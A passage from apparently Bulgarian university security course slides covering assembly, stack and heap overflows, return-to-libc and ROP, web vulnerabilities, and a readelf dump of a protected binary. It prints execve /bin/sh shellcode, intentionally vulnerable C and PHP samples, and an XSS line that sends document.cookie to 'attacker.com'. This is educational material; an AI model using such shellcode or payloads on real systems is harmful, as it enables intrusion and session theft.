%esp 238 | * POP X 239 | * movl (%esp), X 240 | * addl $4, %esp 241 | 242 | ### 243 | #### Инструкции/ARM 244 | 245 | ### Основни 246 | 247 | * Повечето инструкции работят само с регистри 248 | * LDRB, LDRH, LDRW 249 | * STRB, STRH, STRW 250 | * SWC 251 | 252 | ### Предикати на инструкции 253 | 254 | * Почти всяка инструкция може да има условие за изпълнение 255 | 256 | ~~~~~~C 257 | while (i != j) 258 | { 259 | if (i > j) 260 | { 261 | i -= j; 262 | } 263 | else /* i < j (since i != j in while condition) */ 264 | { 265 | j -= i; 266 | } 267 | } 268 | ~~~~~~ 269 | 270 | ### Предикати на инструкции - асемблер 271 | 272 | ~~~~~~asm 273 | loop: CMP Ri, Rj ; set condition "NE" if (i != j), 274 | ; "GT" if (i > j), 275 | ; or "LT" if (i < j) 276 | SUBGT Ri, Ri, Rj ; if "GT" (Greater Than), i = i-j; 277 | SUBLT Rj, Rj, Ri ; if "LT" (Less Than), j = j-i; 278 | BNE loop ; if "NE" (Not Equal), then loop 279 | ~~~~~~ 280 | 281 | 282 | ### Branching 283 | 284 | * CMP, CMN, TST, TEQ 285 | * B - branch 286 | * BL - branch with link 287 | * BLX - branch with link and exchange 288 | * сменя режима на процесора 289 | * BXJ - сменя до Jazelle mode 290 | 291 | ### Flag set suffix 292 | 293 | * Ако добавим S към инструкция, тя update-ва флаговете 294 | * ADDS, SUBS... 295 | * т.е. можем да ползваме *S вместо CMP от време на време 296 | * като има страничен ефект, не само проверка 297 | 298 | ### Смяна на режими 299 | 300 | * Всъщност, всяка инструкция, която зарежда PC (R15 в arm32) сменя режима 301 | * Гледа се най-младшия бит 302 | * ADC, ADD, AND, ASR, BIC, EOR, LSL, LSR, MOV, MVN, 303 | * ORR, ROR, RRX, RSB, RSC, SBC, SUB. 304 | 305 | 306 | ## Изводи 307 | ### 308 | #### Изводи 309 | 310 | * x86 асемблерът е огромен 311 | * arm е доста по-изчистен и гъвкав 312 | * и двата не са особено прости 313 | * и двата дават много възможности 314 | 315 | # Buffer overflow exploitation 316 | 317 | ## Анатомия на exploit-ването 318 | 319 | ### 320 | #### Основи на exploit-ите 321 | 322 | ### Цел 323 | 324 | * Да накараме програмата да направи това, което искаме 325 | * или чрез атака на логиката и 326 | * или чрез това да изпълни наш код 327 | 328 | ### Payload & execution 329 | 330 | * В общи линии две цели: 331 | * Да качим нашия payload (shellcode) 332 | * Да го изпълним 333 | 334 | ### Payload storage 335 | 336 | * Най-тривиално - да накараме програмата да го изтегли сама 337 | * allow_url_fopen() в php например :) 338 | * Средата на програмата 339 | * environment variables 340 | * arguments 341 | * Данни, които ние подаваме 342 | * Или вече съществуващ код, който може да ни върши работа 343 | * както ще видим в Return-to-libc 344 | 345 | ### Execution 346 | 347 | * Промяна на адрес, който ще се изпълни 348 | * stack return address 349 | * PLT 350 | * всякакви указатели към функции 351 | * Подмяна на функция 352 | * Директно изпълнение 353 | 354 | ## Stack overflow 355 | 356 | ### 357 | #### Stack overflows 358 | 359 | ### Кратко обяснение 360 | 361 | * Презаписваме променлива с по-голям размер 362 | * Презаписваме return address-а с наш 363 | * На тоя адрес има наш код 364 | * Адресът може да е в стека или някъде другаде 365 | 366 | ### Примерен код 367 | 368 | ~~~~~~C 369 | #include 370 | 371 | void foo (char *bar) 372 | { 373 | char c[12]; 374 | 375 | strcpy(c, bar); // no bounds checking 376 | } 377 | 378 | int main (int argc, char **argv) 379 | { 380 | foo(argv[1]); 381 | } 382 | ~~~~~~ 383 | 384 | ### 385 | 386 | ![overflow](overflow.png) 387 | 388 | ### Анатомия на shellcode при stack overflow 389 | 390 | * NOP sled 391 | * Code 392 | * Return address 393 | 394 | ### Особености на кода 395 | 396 | * Printable characters 397 | * ... или поне не може да съдържа \\0, понеже се минава през string функции 398 | * Честа употреба на отрицателни числа или странни константи 399 | 400 | ### execve() 401 | 402 | ~~~~~~C 403 | int execve(const char *filename, char *const argv[], 404 | char *const envp[]); 405 | ~~~~~~ 406 | 407 | * EAX - syscall number (11) 408 | * EBX - filename 409 | * ECX - argv[] 410 | * EDX - envp[] 411 | * regparam=4 calling convention 412 | 413 | ### C код 414 | 415 | ~~~~~~C 416 | char *filename="//bin/sh"; 417 | char *argv[2]; 418 | 419 | argv[0]=filename; 420 | argv[1]=NULL; 421 | 422 | execve(filename, argv, NULL); 423 | ~~~~~~ 424 | 425 | ### Shellcode на assembly 426 | 427 | ~~~~~~asm 428 | section .text 429 | _start: 430 | xor eax, eax ; EAX=0 431 | push eax ; push 0 in the stack 432 | push 0x68732f6e ; PUSH //bin/sh in reverse i.e. hs/nib// 433 | push 0x69622f2f 434 | mov ebx, esp ; Make EBX point to //bin/sh using ESP 435 | push eax ; PUSH 0x00000000 using EAX 436 | mov edx, esp ; and point EDX to it using ESP 437 | push ebx ; PUSH address of //bin/sh on the Stack 438 | mov ecx, esp ; and make ECX point to it using ESP 439 | mov al, 11 ; move 11 into AL to avoid nulls 440 | int 0x80 441 | ~~~~~~ 442 | 443 | ### Стекът след изпълнението на кода 444 | 445 | ![setupstack](setupstack.png) 446 | 447 | ### Return address 448 | 449 | * В най-простия случай - не се променя и е в стека 450 | * Това не работи от години 451 | * Налучкване 452 | * При достатъчно голям NOP sled не е толкова трудно 453 | * Друг hack 454 | * Имаме някъде наблизо адрес на контролирана от нас памет 455 | * Environment variable 456 | * Command-line argument 457 | * Return-oriented programming 458 | * след малко :) 459 | 460 | ## Heap overflow 461 | 462 | ### 463 | #### Heap overflow 464 | 465 | ### Heap overflow 466 | 467 | * Целим да презапишем указател към функция 468 | * или нещо подобно 469 | * Целим да объркаме memory allocator-а 470 | 471 | ### Memory allocator 472 | 473 | * malloc()/free() 474 | * заделят памет в heap-а 475 | * поддържат структура със заделените парчета 476 | 477 | ### Нов attack vector - PLT 478 | 479 | * Procedural linkage table 480 | * Адреси на различни функции 481 | * free(), malloc(), strcpy()... 482 | * Адресът е сравнително ясен 483 | * Ако можем да пишем там, можем да насочим изпълнението на някоя функция към наш код 484 | 485 | ### Работа на free() 486 | 487 | ~~~~~~C 488 | struct chunk { 489 | int prev_size; 490 | int size; 491 | struct chunk *fd; 492 | struct chunk *bk; 493 | }; 494 | ~~~~~~ 495 | * някъде в кода на free() има 496 | 497 | ~~~~~~C 498 | bck = p->bk; 499 | fwd = p->fd; 500 | fwd->bk = bck; 501 | bck->fd = fwd; 502 | ~~~~~~ 503 | 504 | ### 505 | 506 | ![memalloc](memalloc.png) 507 | 508 | ### Exploit 509 | 510 | * презаписваме bk и fd 511 | * ако подадем bk=A и fd=B, можем да постигнем \*(A+12) = B и \*(B+8) = A. 512 | * ... и просто можем да запишем в PLT на мястото на следващата извиквана функция някой наш адрес 513 | 514 | # Return-oriented programming 515 | 516 | ## Идея 517 | 518 | ### 519 | #### Return-oriented programming 520 | 521 | ### Идея 522 | 523 | * Поредица от return адреси в кода на програмата, които се връщат при нас 524 | * Парчета код, които са използваеми (gadgets) 525 | * Намиращи се на фиксирани позиции 526 | * Много полезно в cisco IOS и други 527 | 528 | ## Return-into-libc 529 | 530 | ### Return-into-libc 531 | 532 | * Най-простия пример за подобно нещо 533 | * Гледаме да направим стек с аргументи и да идем на system() 534 | 535 | ### Стек 536 | 537 | ![stack frame](stackframe.png) 538 | 539 | ### Какво ни трябва 540 | 541 | * Адресът на system() 542 | * Адрес на string "/bin/sh" 543 | * За предпочитане е и в двата адреса да няма нулев байт 544 | 545 | ### 546 | 547 | ![returntolibc](returntolibc.png) 548 | 549 | ## ROP chaining 550 | 551 | ### ROP chaining 552 | 553 | * Изпълняване на повече от една функция 554 | * С този return адрес можем да изпълним две 555 | * А ако искаме повече? 556 | 557 | ### Gadgets 558 | 559 | * Малки парчета код, които правят нещо 560 | * Завършват на ret 561 | * Могат да модифицират регистри или памет 562 | * Много трудно за писане на ръка, има компилатори 563 | * Много hack-ове като unalinged инструкции, смяна на режима 564 | 565 | ## Tools 566 | 567 | ### Инструменти 568 | 569 | * IDA pro 570 | * objdump 571 | * Metasploit 572 | * ropgadgets 573 | -------------------------------------------------------------------------------- /presentations/web/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Web приложения – особености от гледна точка на сигурността 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 28 | 29 | 32 | 33 | 34 | 35 | 36 |
37 | 38 | 39 |
40 |
41 |

Web приложения

42 |

Особености от гледна точка на сигурността

43 |
44 | 45 |
46 |

Въведение

47 |

48 | Уеб програмирането изисква интеграция на 49 | редица технологии. 50 | Това означава, че 51 | уеб приложенията имат голяма повърхност за атака. 52 | Както и голяма сложност, която води до 53 | непредвидени последствия. 54 | В следствие на това, сигурността на стека е 55 | игра на котка и мишка. 56 |

57 |
58 | 59 |
60 |

Стекът

61 | 62 |
    63 |
  • HTML
  • 64 |
  • CSS
  • 65 |
  • Browser Scripting (JavaScript)
  • 66 |
  • HTTP(s)
  • 67 |
  • HTTP(s) Server
  • 68 |
  • Server Side Scripting (PHP/Ruby/Python/etc.)
  • 69 |
  • Database
  • 70 |
  • OS
  • 71 |
  • Hardware
  • 72 |
73 |
74 |
75 |

Стекът

76 | 77 |
    78 |
  • HTML
  • 79 |
  • CSS
  • 80 |
  • Browser Scripting (JavaScript)
  • 81 |
  • HTTP(s)
  • 82 |
  • HTTP(s) Server
  • 83 |
  • Server Side Scripting (PHP/Ruby/Python/etc.)
  • 84 |
  • Database
  • 85 |
  • OS
  • 86 |
  • Hardware
  • 87 |
88 |
89 | 90 |
91 |

За какво още НЯМА да говорим

92 | 93 |
    94 |
  • Flash
  • 95 |
  • Silverlight
  • 96 |
  • ActiveX
  • 97 |
  • Java в браузъра
  • 98 |
99 | 100 |

Тези технологии ще смятаме за безнадеждно несигурни.

101 |

Не че това не може да се каже за Web програмирането като цяло :).

102 |
103 | 104 |
105 |
106 |

Remote Code Execution

107 |

a.k.a. Client Side Scripting

108 |
109 | 110 |
111 |

Browser Scripting

112 |

Скриптирането на браузъра, посредством JS, е в същността си remote code execution.

113 |

Функционалност срещу практичност

114 |
115 | 116 |
117 |

Но освен това

118 |

Липсва метод за подписване на JS, който е написан от разработчиците на уеб приложение.

119 |

Липсва достатъчно подробна система от позволения (напр. Android).

120 |

JS Sux (no offence)

121 |
122 | 123 |
124 |

Не може ли JS да се изведе от употреба?

125 |

126 | Може! Flash 127 | и Java applets са примери за client-side технологии, които излизат 128 | от употреба... и биват заместени от 129 | по-добра технология, която се казва JavaScript. 130 |

131 |

:(

132 |
133 |
134 | 135 |
136 |
137 |

TLS

138 |

Още една технология, която няма алтернатива :(.

139 |

Bulletproof SSL and TLS илюстрира добре проблемите и хаковете, които ги заобикалят.

140 |

Ще се спрем на няколко проблема и хаковете, които ги заобикалят :).

141 |
142 | 143 |
144 |

PFS

145 |

Означава, че ако някой се сдобие с частния ключ 146 | на TLS сървърите ви, няма да може да дешифрира данни, които са 147 | подслушани преди това.

148 |

Разчита на Ephemeral Diffie-Hellman обмяна на ключове.

149 |
150 | 151 |
152 |

Елиптични криви

153 |

Засега положението с елиптичните криви е малко проблематично.

154 |

Има изгледи да се подобри.

155 |

Адам Лангли смята, че имплементирането на бекдоор в елиптична крива е извънземна технология.

156 | 157 |

Т.е. може да се използва и EECDH за осигуряване на PFS.

158 |
159 | 160 |
161 |

Браузърите се сдобиват с памет

162 | 163 |

Оказва се, че редица проблеми, възникнали при 164 | използването на TLS, могат да бъдат заобиколени и до 165 | някаква степен неутрализирани, посредством „запомняне“ на 166 | информация за URL в браузъра.

167 |
168 | 169 |
170 |

HSTS

171 |

Елиминира нуждата от начална връзка по нешифриран канал след първо отваряне на даден URL.

172 |

RFC 6797, реализира се чрез Strict-Transport-Security HTTP хедър.

173 |
174 | 175 |
176 |

HPKP

177 |

Опитва се да заобиколи недостатък на текущата PKI система.

178 |

Показва на потребителя грешка в сигурността, ако публичният ключ на даден сайт е променен след последното посещение.

179 |

draft-ietf-websec-key-pinning-21, реализира се чрез Public-Key-Pins HTTP хедър.

180 |
181 | 182 |
183 |

Странични ефекти

184 |

Предишните два уъркараунда имат „прекрасен“ страничен ефект.

185 | 186 |

Позволяват имплементирането на супер бисквитка, чрез която потребителите да могат да бъдат следени.

187 |
188 |
189 | 190 |
191 |
192 |

Често срещани уязвимости

193 |
194 | 195 |
196 |

Инжекция

197 |

Най-разпространената уязвимост според OWASP

198 |

Случва се, когато недоверени данни бъдат подадени на интерпретатор като част от команда.

199 |
$sql = "SELECT * FROM users WHERE username = '$username';";
200 |
File.read "/home/application/upload/#{params[:file]}"
201 |

и т.н.

202 |
203 | 204 |
205 |

Избягва се основно чрез позитивна валидация на входните данни, както и използване на ORM.

206 |
207 | 208 |
209 |

XSS

210 |

Означава, че трети лица могат да инжектират JS в приложението ви, който след това да се изпълни в браузърите на потребителите.

211 |

Този код се изпълнява от името и с правата на всеки потребител на приложенето.

212 |

Случва се, когато недоверени данни бъдат рендерирани в изгледа.

213 |
echo $_GET['comment'];
214 |
215 | 216 |
217 |

Избягва се чрез позитивна валидация на входните данни или автоматично екраниране на HTML таговете.

218 |

В Rails този проблем до голяма степен е решен с екраниране на всички динамични части от View-то.

219 |

В PHP исторически решението беше да се слагат „магически“ кавички.

220 |
СУ \\\\\\\\"Св. Климент Охридски\\\\\\\\"
221 |
222 | 223 |
224 |

Примери

225 |
<img src=javascript:alert('Hello')>
226 | <table background="javascript:alert('Hello')"></table>
227 |
<script>document.write('<img src="http://www.attacker.com/'
228 |                       + document.cookie + '">');</script>
229 |
<div style="background:url('javascript:alert(1)')">
230 |
231 | 232 |
233 |

Уязвимости около сесиите

234 |

HTTP е stateless протокол

235 |

Често обаче потребителите на едно приложение имат състояние, което трябва да бъде пазено по време на навигация между URL-ите

236 |

Най-честото състояние на потребителя е дали е потвърдил самоличността си пред приложението или не.

237 |
238 | 239 |
240 |

Кражба на сесия

241 |

Кражбата на сесийната бисквитка на даден потребител позволява да се използва приложението от негово име.

242 |

Ако се използва HTTP, няма как сесийната бисквитка да бъде запазена в тайна от трети лица.

243 |

Ако сайтът е уязвим на XSS, сесийната бисквитка също може да се извлече.

244 |
245 | 246 | 247 |
248 |

Фиксация на сесия

249 |

Генерира се сесиен идентификатор, който се подава на потребителя.

250 |

Когато потребителят евентуално потвърди самоличността си пред приложението, противникът може да изпълнява действия от негово име.

251 |

Тази уязвимост се неутрализира чрез генериране на нов сесиен идентификатор след вход в приложението

252 |
253 | 254 |
255 |

CSRF

256 |

Браузърът изпълнява заявка към трети сайт от името на потребителя.

257 |

Ограничава се до някаква степен чрез CORS, както и чрез CSRF token.

258 |
259 | 260 |
261 |

Clickjacking

262 |

Почти същото като CSRF, но изисква кликване от потребителя, за да се изпълни действието.

263 |
264 | 265 |
266 |

Unsafe Redirection

267 |

Почти същото като CSRF, но изисква кликване от потребителя, за да се изпълни действието.

268 |
redirect_to(params.update(action:'main'))
269 |
270 | 271 |
272 |

И много други

273 |
274 | 275 | 276 |
277 |
278 | 279 |
280 | 281 | 282 | 283 | 284 | 308 | 309 | 310 | 311 | -------------------------------------------------------------------------------- /code/C/elf-protected: -------------------------------------------------------------------------------- 1 | ELF Header: 2 | Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 3 | Class: ELF32 4 | Data: 2's complement, little endian 5 | Version: 1 (current) 6 | OS/ABI: UNIX - System V 7 | ABI Version: 0 8 | Type: EXEC (Executable file) 9 | Machine: Intel 80386 10 | Version: 0x1 11 | Entry point address: 0x8048340 12 | Start of program headers: 52 (bytes into file) 13 | Start of section headers: 3828 (bytes into file) 14 | Flags: 0x0 15 | Size of this header: 52 (bytes) 16 | Size of program headers: 32 (bytes) 17 | Number of program headers: 8 18 | Size of section headers: 40 (bytes) 19 | Number of section headers: 35 20 | Section header string table index: 32 21 | 22 | Section Headers: 23 | [Nr] Name Type Addr Off Size ES Flg Lk Inf Al 24 | [ 0] NULL 00000000 000000 000000 00 0 0 0 25 | [ 1] .interp PROGBITS 08048134 000134 000013 00 A 0 0 1 26 | [ 2] .note.ABI-tag NOTE 08048148 000148 000020 00 A 0 0 4 27 | [ 3] .hash HASH 08048168 000168 00002c 04 A 4 0 4 28 | [ 4] .dynsym DYNSYM 08048194 000194 000060 10 A 5 1 4 29 | [ 5] .dynstr STRTAB 080481f4 0001f4 000065 00 A 0 0 1 30 | [ 6] .gnu.version VERSYM 0804825a 00025a 00000c 02 A 4 0 2 31 | [ 7] .gnu.version_r VERNEED 08048268 000268 000030 00 A 5 1 4 32 | [ 8] .rel.dyn REL 08048298 000298 000008 08 A 4 0 4 33 | [ 9] .rel.plt REL 080482a0 0002a0 000020 08 A 4 11 4 34 | [10] .init PROGBITS 080482c0 0002c0 00002d 00 AX 0 0 4 35 | [11] .plt PROGBITS 080482f0 0002f0 000050 04 AX 0 0 16 36 | [12] .text PROGBITS 08048340 000340 00025a 00 AX 0 0 16 37 | [13] .fini PROGBITS 0804859c 00059c 000019 00 AX 0 0 4 38 | [14] .rodata PROGBITS 080485b8 0005b8 000008 00 A 0 0 4 39 | [15] .eh_frame_hdr PROGBITS 080485c0 0005c0 000034 00 A 0 0 4 40 | [16] .eh_frame PROGBITS 080485f4 0005f4 0000d0 00 A 0 0 4 41 | [17] .ctors PROGBITS 080496c4 0006c4 000008 00 WA 0 0 4 42 | [18] .dtors PROGBITS 080496cc 0006cc 000008 00 WA 0 0 4 43 | [19] .jcr PROGBITS 080496d4 0006d4 000004 00 WA 0 0 4 44 | [20] .dynamic DYNAMIC 080496d8 0006d8 0000c8 08 WA 5 0 4 45 | [21] .got PROGBITS 080497a0 0007a0 000004 04 WA 0 0 4 46 | [22] .got.plt PROGBITS 080497a4 0007a4 00001c 04 WA 0 0 4 47 | [23] .data PROGBITS 080497c0 0007c0 000008 00 WA 0 0 4 48 | [24] .bss NOBITS 080497c8 0007c8 000008 00 WA 0 0 4 49 | [25] .comment PROGBITS 00000000 0007c8 000022 01 MS 0 0 1 50 | [26] .debug_aranges PROGBITS 00000000 0007f0 000090 00 0 0 8 51 | [27] .debug_info PROGBITS 00000000 000880 0001fe 00 0 0 1 52 | [28] .debug_abbrev PROGBITS 00000000 000a7e 000076 00 0 0 1 53 | [29] .debug_line PROGBITS 00000000 000af4 000143 00 0 0 1 54 | [30] .debug_str PROGBITS 00000000 000c37 000141 01 MS 0 0 1 55 | [31] .debug_ranges PROGBITS 00000000 000d78 000048 00 0 0 8 56 | [32] .shstrtab STRTAB 00000000 000dc0 000133 00 0 0 1 57 | [33] .symtab SYMTAB 00000000 00146c 0004f0 10 34 54 4 58 | [34] .strtab STRTAB 00000000 00195c 00029c 00 0 0 1 59 | Key to Flags: 60 | W (write), A (alloc), X (execute), M (merge), S (strings) 61 | I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown) 62 | O (extra OS processing required) o (OS specific), p (processor specific) 63 | 64 | There are no section groups in this file. 65 | 66 | Program Headers: 67 | Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align 68 | PHDR 0x000034 0x08048034 0x08048034 0x00100 0x00100 R E 0x4 69 | INTERP 0x000134 0x08048134 0x08048134 0x00013 0x00013 R 0x1 70 | [Requesting program interpreter: /lib/ld-linux.so.2] 71 | LOAD 0x000000 0x08048000 0x08048000 0x006c4 0x006c4 R E 0x1000 72 | LOAD 0x0006c4 0x080496c4 0x080496c4 0x00104 0x0010c RW 0x1000 73 | DYNAMIC 0x0006d8 0x080496d8 0x080496d8 0x000c8 0x000c8 RW 0x4 74 | NOTE 0x000148 0x08048148 0x08048148 0x00020 0x00020 R 0x4 75 | GNU_EH_FRAME 0x0005c0 0x080485c0 0x080485c0 0x00034 0x00034 R 0x4 76 | GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x10 77 | 78 | Section to Segment mapping: 79 | Segment Sections... 80 | 00 81 | 01 .interp 82 | 02 .interp .note.ABI-tag .hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame 83 | 03 .ctors .dtors .jcr .dynamic .got .got.plt .data .bss 84 | 04 .dynamic 85 | 05 .note.ABI-tag 86 | 06 .eh_frame_hdr 87 | 07 88 | 89 | Dynamic section at offset 0x6d8 contains 20 entries: 90 | Tag Type Name/Value 91 | 0x00000001 (NEEDED) Shared library: [libc.so.6] 92 | 0x0000000c (INIT) 0x80482c0 93 | 0x0000000d (FINI) 0x804859c 94 | 0x00000004 (HASH) 0x8048168 95 | 0x00000005 (STRTAB) 0x80481f4 96 | 0x00000006 (SYMTAB) 0x8048194 97 | 0x0000000a (STRSZ) 101 (bytes) 98 | 0x0000000b (SYMENT) 16 (bytes) 99 | 0x00000015 (DEBUG) 0x0 100 | 0x00000003 (PLTGOT) 0x80497a4 101 | 0x00000002 (PLTRELSZ) 32 (bytes) 102 | 0x00000014 (PLTREL) REL 103 | 0x00000017 (JMPREL) 0x80482a0 104 | 0x00000011 (REL) 0x8048298 105 | 0x00000012 (RELSZ) 8 (bytes) 106 | 0x00000013 (RELENT) 8 (bytes) 107 | 0x6ffffffe (VERNEED) 0x8048268 108 | 0x6fffffff (VERNEEDNUM) 1 109 | 0x6ffffff0 (VERSYM) 0x804825a 110 | 0x00000000 (NULL) 0x0 111 | 112 | Relocation section '.rel.dyn' at offset 0x298 contains 1 entries: 113 | Offset Info Type Sym.Value Sym. Name 114 | 080497a0 00000306 R_386_GLOB_DAT 00000000 __gmon_start__ 115 | 116 | Relocation section '.rel.plt' at offset 0x2a0 contains 4 entries: 117 | Offset Info Type Sym.Value Sym. Name 118 | 080497b0 00000107 R_386_JUMP_SLOT 00000000 gets 119 | 080497b4 00000207 R_386_JUMP_SLOT 00000000 __stack_chk_fail 120 | 080497b8 00000307 R_386_JUMP_SLOT 00000000 __gmon_start__ 121 | 080497bc 00000507 R_386_JUMP_SLOT 00000000 __libc_start_main 122 | 123 | The decoding of unwind sections for machine type Intel 80386 is not currently supported. 124 | 125 | Symbol table '.dynsym' contains 6 entries: 126 | Num: Value Size Type Bind Vis Ndx Name 127 | 0: 00000000 0 NOTYPE LOCAL DEFAULT UND 128 | 1: 00000000 0 FUNC GLOBAL DEFAULT UND gets@GLIBC_2.0 (2) 129 | 2: 00000000 0 FUNC GLOBAL DEFAULT UND __stack_chk_fail@GLIBC_2.4 (3) 130 | 3: 00000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__ 131 | 4: 080485bc 4 OBJECT GLOBAL DEFAULT 14 _IO_stdin_used 132 | 5: 00000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.0 (2) 133 | 134 | Symbol table '.symtab' contains 79 entries: 135 | Num: Value Size Type Bind Vis Ndx Name 136 | 0: 00000000 0 NOTYPE LOCAL DEFAULT UND 137 | 1: 08048134 0 SECTION LOCAL DEFAULT 1 138 | 2: 08048148 0 SECTION LOCAL DEFAULT 2 139 | 3: 08048168 0 SECTION LOCAL DEFAULT 3 140 | 4: 08048194 0 SECTION LOCAL DEFAULT 4 141 | 5: 080481f4 0 SECTION LOCAL DEFAULT 5 142 | 6: 0804825a 0 SECTION LOCAL DEFAULT 6 143 | 7: 08048268 0 SECTION LOCAL DEFAULT 7 144 | 8: 08048298 0 SECTION LOCAL DEFAULT 8 145 | 9: 080482a0 0 SECTION LOCAL DEFAULT 9 146 | 10: 080482c0 0 SECTION LOCAL DEFAULT 10 147 | 11: 080482f0 0 SECTION LOCAL DEFAULT 11 148 | 12: 08048340 0 SECTION LOCAL DEFAULT 12 149 | 13: 0804859c 0 SECTION LOCAL DEFAULT 13 150 | 14: 080485b8 0 SECTION LOCAL DEFAULT 14 151 | 15: 080485c0 0 SECTION LOCAL DEFAULT 15 152 | 16: 080485f4 0 SECTION LOCAL DEFAULT 16 153 | 17: 080496c4 0 SECTION LOCAL DEFAULT 17 154 | 18: 080496cc 0 SECTION LOCAL DEFAULT 18 155 | 19: 080496d4 0 SECTION LOCAL DEFAULT 19 156 | 20: 080496d8 0 SECTION LOCAL DEFAULT 20 157 | 21: 080497a0 0 SECTION LOCAL DEFAULT 21 158 | 22: 080497a4 0 SECTION LOCAL DEFAULT 22 159 | 23: 080497c0 0 SECTION LOCAL DEFAULT 23 160 | 24: 080497c8 0 SECTION LOCAL DEFAULT 24 161 | 25: 00000000 0 SECTION LOCAL DEFAULT 25 162 | 26: 00000000 0 SECTION LOCAL DEFAULT 26 163 | 27: 00000000 0 SECTION LOCAL DEFAULT 27 164 | 28: 00000000 0 SECTION LOCAL DEFAULT 28 165 | 29: 00000000 0 SECTION LOCAL DEFAULT 29 166 | 30: 00000000 0 SECTION LOCAL DEFAULT 30 167 | 31: 00000000 0 SECTION LOCAL DEFAULT 31 168 | 32: 00000000 0 FILE LOCAL DEFAULT ABS init.c 169 | 33: 00000000 0 FILE LOCAL DEFAULT ABS crtstuff.c 170 | 34: 080496c4 0 OBJECT LOCAL DEFAULT 17 __CTOR_LIST__ 171 | 35: 080496cc 0 OBJECT LOCAL DEFAULT 18 __DTOR_LIST__ 172 | 36: 080496d4 0 OBJECT LOCAL DEFAULT 19 __JCR_LIST__ 173 | 37: 08048380 0 FUNC LOCAL DEFAULT 12 deregister_tm_clones 174 | 38: 080483b0 0 FUNC LOCAL DEFAULT 12 register_tm_clones 175 | 39: 080483f0 0 FUNC LOCAL DEFAULT 12 __do_global_dtors_aux 176 | 40: 080497c8 1 OBJECT LOCAL DEFAULT 24 completed.5978 177 | 41: 080497cc 4 OBJECT LOCAL DEFAULT 24 dtor_idx.5980 178 | 42: 08048450 0 FUNC LOCAL DEFAULT 12 frame_dummy 179 | 43: 00000000 0 FILE LOCAL DEFAULT ABS crtstuff.c 180 | 44: 080496c8 0 OBJECT LOCAL DEFAULT 17 __CTOR_END__ 181 | 45: 080486c0 0 OBJECT LOCAL DEFAULT 16 __FRAME_END__ 182 | 46: 080496d4 0 OBJECT LOCAL DEFAULT 19 __JCR_END__ 183 | 47: 08048570 0 FUNC LOCAL DEFAULT 12 __do_global_ctors_aux 184 | 48: 00000000 0 FILE LOCAL DEFAULT ABS stack-protection.c 185 | 49: 00000000 0 FILE LOCAL DEFAULT ABS 186 | 50: 080496c4 0 NOTYPE LOCAL DEFAULT 17 __init_array_end 187 | 51: 080496d8 0 OBJECT LOCAL DEFAULT 20 _DYNAMIC 188 | 52: 080496c4 0 NOTYPE LOCAL DEFAULT 17 __init_array_start 189 | 53: 080497a4 0 OBJECT LOCAL DEFAULT 22 _GLOBAL_OFFSET_TABLE_ 190 | 54: 08048560 2 FUNC GLOBAL DEFAULT 12 __libc_csu_fini 191 | 55: 00000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterTMCloneTab 192 | 56: 08048370 4 FUNC GLOBAL HIDDEN 12 __x86.get_pc_thunk.bx 193 | 57: 080497c0 0 NOTYPE WEAK DEFAULT 23 data_start 194 | 58: 00000000 0 FUNC GLOBAL DEFAULT UND gets@@GLIBC_2.0 195 | 59: 080497c8 0 NOTYPE GLOBAL DEFAULT 23 _edata 196 | 60: 0804859c 0 FUNC GLOBAL DEFAULT 13 _fini 197 | 61: 00000000 0 FUNC GLOBAL DEFAULT UND __stack_chk_fail@@GLIBC_2 198 | 62: 080496d0 0 OBJECT GLOBAL HIDDEN 18 __DTOR_END__ 199 | 63: 080497c0 0 NOTYPE GLOBAL DEFAULT 23 __data_start 200 | 64: 00000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__ 201 | 65: 080497c4 0 OBJECT GLOBAL HIDDEN 23 __dso_handle 202 | 66: 080485bc 4 OBJECT GLOBAL DEFAULT 14 _IO_stdin_used 203 | 67: 00000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@@GLIBC_ 204 | 68: 080484f0 97 FUNC GLOBAL DEFAULT 12 __libc_csu_init 205 | 69: 080497d0 0 NOTYPE GLOBAL DEFAULT 24 _end 206 | 70: 08048340 0 FUNC GLOBAL DEFAULT 12 _start 207 | 71: 080485b8 4 OBJECT GLOBAL DEFAULT 14 _fp_hw 208 | 72: 080497c8 0 NOTYPE GLOBAL DEFAULT 24 __bss_start 209 | 73: 080484af 53 FUNC GLOBAL DEFAULT 12 main 210 | 74: 00000000 0 NOTYPE WEAK DEFAULT UND _Jv_RegisterClasses 211 | 75: 080497c8 0 OBJECT GLOBAL HIDDEN 23 __TMC_END__ 212 | 76: 00000000 0 NOTYPE WEAK DEFAULT UND _ITM_registerTMCloneTable 213 | 77: 08048480 47 FUNC GLOBAL DEFAULT 12 user_read 214 | 78: 080482c0 0 FUNC GLOBAL DEFAULT 10 _init 215 | 216 | Histogram for bucket list length (total of 3 buckets): 217 | Length Number % of total Coverage 218 | 0 0 ( 0.0%) 219 | 1 2 ( 66.7%) 40.0% 220 | 2 0 ( 0.0%) 40.0% 221 | 3 1 ( 33.3%) 100.0% 222 | 223 | Version symbols section '.gnu.version' contains 6 entries: 224 | Addr: 000000000804825a Offset: 0x00025a Link: 4 (.dynsym) 225 | 000: 0 (*local*) 2 (GLIBC_2.0) 3 (GLIBC_2.4) 0 (*local*) 226 | 004: 1 (*global*) 2 (GLIBC_2.0) 227 | 228 | Version needs section '.gnu.version_r' contains 1 entries: 229 | Addr: 0x0000000008048268 Offset: 0x000268 Link: 5 (.dynstr) 230 | 000000: Version: 1 File: libc.so.6 Cnt: 2 231 | 0x0010: Name: GLIBC_2.4 Flags: none Version: 3 232 | 0x0020: Name: GLIBC_2.0 Flags: none Version: 2 233 | 234 | Notes at offset 0x00000148 with length 0x00000020: 235 | Owner Data size Description 236 | GNU 0x00000010 NT_GNU_ABI_TAG (ABI version tag) 237 | OS: Linux, ABI: 2.6.32 238 | 